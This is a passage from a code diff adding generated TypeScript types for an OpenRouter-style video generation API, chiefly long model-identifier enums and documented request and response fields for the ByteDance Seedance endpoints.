'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosBytedanceSeedance20MiniRequestModelEnumKey = + (typeof openrouterPostVideosBytedanceSeedance20MiniRequestModelEnum)[keyof typeof openrouterPostVideosBytedanceSeedance20MiniRequestModelEnum] + +export const openrouterPostVideosBytedanceSeedance20MiniRequestResolutionEnum = + { + '480p': '480p', + '720p': '720p', + } as const + +export type OpenrouterPostVideosBytedanceSeedance20MiniRequestResolutionEnumKey = + (typeof openrouterPostVideosBytedanceSeedance20MiniRequestResolutionEnum)[keyof typeof openrouterPostVideosBytedanceSeedance20MiniRequestResolutionEnum] + +export const openrouterPostVideosBytedanceSeedance20MiniRequestSizeEnum = { + '480x480': '480x480', + '480x640': '480x640', + '480x854': '480x854', + '640x480': '640x480', + '854x480': '854x480', + '1120x480': '1120x480', + '720x720': '720x720', + '720x960': '720x960', + '720x1280': '720x1280', + '720x1680': '720x1680', + '960x720': '960x720', + '1280x720': '1280x720', + '1680x720': '1680x720', +} as const + +export type OpenrouterPostVideosBytedanceSeedance20MiniRequestSizeEnumKey = + (typeof openrouterPostVideosBytedanceSeedance20MiniRequestSizeEnum)[keyof typeof openrouterPostVideosBytedanceSeedance20MiniRequestSizeEnum] + +/** + * @description ByteDance: Seedance 2.0 Mini (bytedance/seedance-2.0-mini) — model-constrained video generation request. Seedance 2.0 Mini is a video generation model from ByteDance. It supports text-to-video, image-to-video with first and last frame control, and multimodal reference-to-video with image, video, and audio inputs. It... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosBytedanceSeedance20MiniBody = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosBytedanceSeedance20MiniRequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosBytedanceSeedance20MiniRequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame, last_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Whether to generate audio alongside the video. Defaults to the endpoint's generate_audio capability flag, false if not set. + * @example true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosBytedanceSeedance20MiniRequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: watermark, req_key, return_last_frame. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosBytedanceSeedance20MiniRequestResolutionEnumKey + /** + * @description If specified, the generation will sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed for all providers. + * @type integer | undefined + */ + seed?: number + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: OpenrouterPostVideosBytedanceSeedance20MiniRequestSizeEnumKey + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosBytedanceSeedance20MiniOptions = { + body: OpenrouterPostVideosBytedanceSeedance20MiniBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosBytedanceSeedance20MiniResponses = { + '200': OpenrouterPostVideosBytedanceSeedance20MiniStatus200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosBytedanceSeedance20MiniResponse = + OpenrouterPostVideosBytedanceSeedance20MiniStatus200 + +export const openrouterPostVideosBytedanceSeedance25Status200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosBytedanceSeedance25Status200StatusEnumKey = + (typeof openrouterPostVideosBytedanceSeedance25Status200StatusEnum)[keyof typeof openrouterPostVideosBytedanceSeedance25Status200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosBytedanceSeedance25Status200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosBytedanceSeedance25Status200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosBytedanceSeedance25RequestAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', + '21:9': '21:9', +} as const + +export type OpenrouterPostVideosBytedanceSeedance25RequestAspectRatioEnumKey = + (typeof openrouterPostVideosBytedanceSeedance25RequestAspectRatioEnum)[keyof typeof openrouterPostVideosBytedanceSeedance25RequestAspectRatioEnum] + +export const openrouterPostVideosBytedanceSeedance25RequestDurationEnum = { + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, + '16': 16, + '17': 17, + '18': 18, + '19': 19, + '20': 20, + '21': 21, + '22': 22, + '23': 23, + '24': 24, + '25': 25, + '26': 26, + '27': 27, + '28': 28, + '29': 29, + '30': 30, +} as const + +export type OpenrouterPostVideosBytedanceSeedance25RequestDurationEnumKey = + (typeof openrouterPostVideosBytedanceSeedance25RequestDurationEnum)[keyof typeof openrouterPostVideosBytedanceSeedance25RequestDurationEnum] + +export const openrouterPostVideosBytedanceSeedance25RequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 